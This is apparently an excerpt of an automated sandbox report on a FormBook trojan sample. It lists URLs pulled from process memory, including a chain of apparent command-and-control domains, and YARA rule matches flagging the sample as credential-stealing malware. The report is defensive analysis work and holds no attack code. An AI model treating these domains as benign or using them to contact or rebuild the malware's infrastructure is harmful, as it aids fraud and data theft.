          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.1385.net/c24t/www.nline-courses-classes-lv-1.bond
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.1385.netReferer:
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.458881233.men
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.458881233.men/c24t/
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.458881233.men/c24t/www.7395.asia
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.458881233.menReferer:
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.7395.asia
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.7395.asia/c24t/
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.7395.asia/c24t/www.ocoani.shop
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.7395.asiaReferer:
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.amilablackwell.online
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.amilablackwell.online/c24t/
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.amilablackwell.online/c24t/www.458881233.men
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.amilablackwell.onlineReferer:
          Source: explorer.exe, 00000006.00000003.3095289336.000000000C860000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.2093169355.000000000C860000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.autoitscript.com/autoit3/J
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.consuyt.xyz
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.consuyt.xyz/c24t/
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.consuyt.xyz/c24t/www.vto.stream
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.consuyt.xyzReferer:
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.est-life-insurance-2507.today
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.est-life-insurance-2507.today/c24t/
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.est-life-insurance-2507.today/c24t/www.etangkhap99.lol
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.est-life-insurance-2507.todayReferer:
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.etangkhap99.lol
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.etangkhap99.lol/c24t/
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.etangkhap99.lol/c24t/www.oko.events
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.etangkhap99.lolReferer:
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.fbpd.top
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.fbpd.top/c24t/
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.fbpd.top/c24t/www.1385.net
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.fbpd.topReferer:
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.j88.travel
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.j88.travel/c24t/
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.j88.travel/c24t/www.ridges-freezers-56090.bond
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.j88.travelReferer:
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.nline-courses-classes-lv-1.bond
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.nline-courses-classes-lv-1.bond/c24t/
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.nline-courses-classes-lv-1.bond/c24t/www.ourhealthyourlife.shop
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.nline-courses-classes-lv-1.bondReferer:
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ocoani.shop
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ocoani.shop/c24t/
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ocoani.shop/c24t/h
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ocoani.shopReferer:
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.oko.events
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.oko.events/c24t/
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.oko.events/c24t/www.orenzoplaybest14.xyz
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.oko.eventsReferer:
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.orenzoplaybest14.xyz
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.orenzoplaybest14.xyz/c24t/
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.orenzoplaybest14.xyz/c24t/www.j88.travel
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.orenzoplaybest14.xyzReferer:
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ourhealthyourlife.shop
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ourhealthyourlife.shop/c24t/
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ourhealthyourlife.shop/c24t/www.amilablackwell.online
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ourhealthyourlife.shopReferer:
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ridges-freezers-56090.bond
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ridges-freezers-56090.bond/c24t/
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ridges-freezers-56090.bond/c24t/www.consuyt.xyz
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ridges-freezers-56090.bondReferer:
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.vto.stream
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.vto.stream/c24t/
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.vto.stream/c24t/www.fbpd.top
          Source: explorer.exe, 00000006.00000002.4525788642.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852075200.0000000003545000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.0000000003542000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.vto.streamReferer:
          Source: explorer.exe, 00000006.00000000.2091503480.000000000C4DC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
          Source: explorer.exe, 00000006.00000000.2084445770.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.4528531386.00000000076F8000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://android.notify.windows.com/iOS
          Source: explorer.exe, 00000006.00000000.2087085209.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.4535238985.0000000009ADB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/
          Source: explorer.exe, 00000006.00000000.2084445770.0000000007637000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.4528531386.0000000007637000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
          Source: explorer.exe, 00000006.00000002.4525901198.00000000035FA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094805181.00000000035FA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.2083176796.00000000035FA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://arc.msn.coml
          Source: explorer.exe, 00000006.00000002.4536248023.0000000009C22000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.2087085209.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3852394132.0000000009C21000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3851742437.0000000009BAA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094406627.0000000009B9A000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://excel.office.com
          Source: explorer.exe, 00000006.00000000.2087085209.0000000009B41000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3094406627.0000000009D42000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3851742437.0000000009BAA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.4536299866.0000000009C96000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3851951539.0000000009C92000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://outlook.com
          Source: explorer.exe, 00000006.00000000.2091503480.000000000C460000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.4539423955.000000000C460000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://powerpoint.office.comcember
          Source: explorer.exe, 00000006.00000002.4535238985.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.2087085209.00000000099C0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://wns.windows.com/)s
          Source: explorer.exe, 00000006.00000002.4535238985.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.2087085209.00000000099C0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://word.office.comon
          Source: explorer.exe, 00000006.00000002.4542330951.00000000108CF000.00000004.80000000.00040000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4524605308.0000000004542000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4525657020.0000000004CEF000.00000004.10000000.00040000.00000000.sdmp, hbwebdownload - MT 103.exeString found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0
          Source: explorer.exe, 00000006.00000002.4542330951.0000000010DBF000.00000004.80000000.00040000.00000000.sdmp, colorcpl.exe, 00000007.00000002.4525657020.00000000051DF000.00000004.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.j88.travel/c24t/?Edg8Tp=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2

          E-Banking Fraud

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 4.2.hbwebdownload - MT 103.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.2.hbwebdownload - MT 103.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.4524389651.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.2092991914.000000000484A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.4524319373.0000000002BF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

          System Summary

          barindex
          Malicious sample detected (through community Yara rule)
          Source: 4.2.hbwebdownload - MT 103.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 4.2.hbwebdownload - MT 103.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 4.2.hbwebdownload - MT 103.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 4.2.hbwebdownload - MT 103.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 4.2.hbwebdownload - MT 103.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 4.2.hbwebdownload - MT 103.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000007.00000002.4524389651.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000007.00000002.4524389651.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000007.00000002.4524389651.0000000002C20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000007.00000002.4523888584.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
